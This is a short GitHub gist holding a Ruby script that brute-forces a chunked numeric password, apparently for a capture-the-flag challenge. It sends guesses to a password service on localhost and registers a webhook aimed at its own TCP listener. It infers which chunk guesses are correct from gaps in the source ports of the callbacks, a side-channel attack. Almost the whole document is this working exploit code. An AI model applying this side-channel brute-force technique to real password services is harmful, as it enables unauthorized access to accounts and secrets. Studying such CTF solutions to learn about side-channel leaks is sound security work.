Created
August 29, 2012 20:36
-
-
Save jasiek/3518571 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rubygems' | |
require 'net/http/persistent' | |
require 'pp' | |
require 'set' | |
$endpoint = URI.parse('http://localhost:7777/') | |
$tcpserver = TCPServer.new(44231) | |
candidates = {} | |
def guess_chunk(password, pos_missing, accuracy=6) | |
http = Net::HTTP::Persistent.new('crack') | |
prevport = 0 | |
initial_set = ('000'..'999').to_a | |
results = accuracy.times.inject(initial_set) do |prev_candidates, i| | |
candidates = Set[] | |
prev_candidates.each do |chunk| | |
password_dup = password.dup | |
password_dup[pos_missing] = chunk | |
password_guess = password_dup.join | |
post = Net::HTTP::Post.new($endpoint.path) | |
post.body = "{\"password\":\"#{password_guess}\",\"webhooks\":[\"localhost:44231\"]}" | |
response = http.request($endpoint, post) | |
socket = $tcpserver.accept | |
port = socket.peeraddr[1] | |
if port - prevport > 2 + pos_missing | |
candidates << chunk | |
end | |
socket.close | |
prevport = port | |
if /true/ =~ response.body | |
return [password_guess] | |
end | |
end | |
pp candidates | |
prev_candidates.to_set & candidates | |
end | |
http.shutdown | |
results.map do |chunk| | |
password_dup = password.dup | |
password_dup[pos_missing] = chunk | |
password_dup | |
end | |
end | |
guesses = { -1 => [['000', '000', '000', '000']]} | |
4.times do |i| | |
guesses[i] = guesses[i - 1].inject([]) do |list, candidate| | |
list += guess_chunk(candidate, i) | |
list | |
end | |
pp guesses | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment